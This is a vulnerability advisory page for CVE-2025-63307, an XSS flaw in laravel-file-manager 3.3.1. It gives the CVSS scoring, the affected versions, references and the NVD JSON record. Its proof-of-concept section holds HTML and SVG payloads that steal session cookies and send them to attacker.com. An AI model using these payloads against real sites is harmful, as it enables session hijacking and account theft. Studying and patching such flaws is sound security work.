CVE-2025-63307

Description

alexusmai laravel-file-manager 3.3.1 is vulnerable to Cross Site Scripting (XSS). The application permits user-controlled upload, create, and rename of files to HTML and SVG types and serves those files inline without adequate content-type validation or output sanitization.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:alexusmai:laravel_file_manager:3.3.1:*:*:*:*:*:*:* - VULNERABLE

alexusmai/laravel-file-manager <= 3.3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2025-63307: laravel-file-manager XSS -->
<!-- Upload this file via file manager or rename existing file to .html -->
<!DOCTYPE html>
<html>
<head>
    <title>Malicious XSS Payload</title>
</head>
<body>
    <h1>CVE-2025-63307 PoC</h1>
    <script>
        // Steal session cookies
        var cookies = document.cookie;
        console.log('Stolen cookies:', cookies);
        
        // Send cookies to attacker controlled server
        fetch('https://attacker.com/steal?c=' + encodeURIComponent(cookies), {
            method: 'GET',
            mode: 'no-cors'
        });
        
        // Display alert for demonstration
        alert('XSS Payload Executed!\nCookie: ' + cookies);
    </script>
</body>
</html>

<!-- Alternative SVG payload -->
<svg xmlns="http://www.w3.org/2000/svg">
    <script type="text/javascript">
        alert('SVG XSS - CVE-2025-63307');
        document.location='https://attacker.com/steal?c='+document.cookie;
    </script>
</svg>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-63307
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-63307
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-63307/
[4] VulDB https://vuldb.com/cve/CVE-2025-63307
[5] https://github.com/Theethat-Thamwasin/CVE-2025-63307
[6] https://github.com/alexusmai/laravel-file-manager
[7] https://github.com/Theethat-Thamwasin/CVE-2025-63307/blob/main/POC-CVE-63307.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-63307", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:13.687", "lastModified": "2025-12-08T16:14:46.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "alexusmai laravel-file-manager 3.3.1 is vulnerable to Cross Site Scripting (XSS). The application permits user-controlled upload, create, and rename of files to HTML and SVG types and serves those files inline without adequate content-type validation or output sanitization."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 5.8}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:alexusmai:laravel_file_manager:3.3.1:*:*:*:*:*:*:*", "matchCriteriaId": "882EFA1A-4C52-444F-A68C-28811B6677F1"}]}]}], "references": [{"url": "https://github.com/Theethat-Thamwasin/CVE-2025-63307", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/alexusmai/laravel-file-manager", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Theethat-Thamwasin/CVE-2025-63307/blob/main/POC-CVE-63307.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}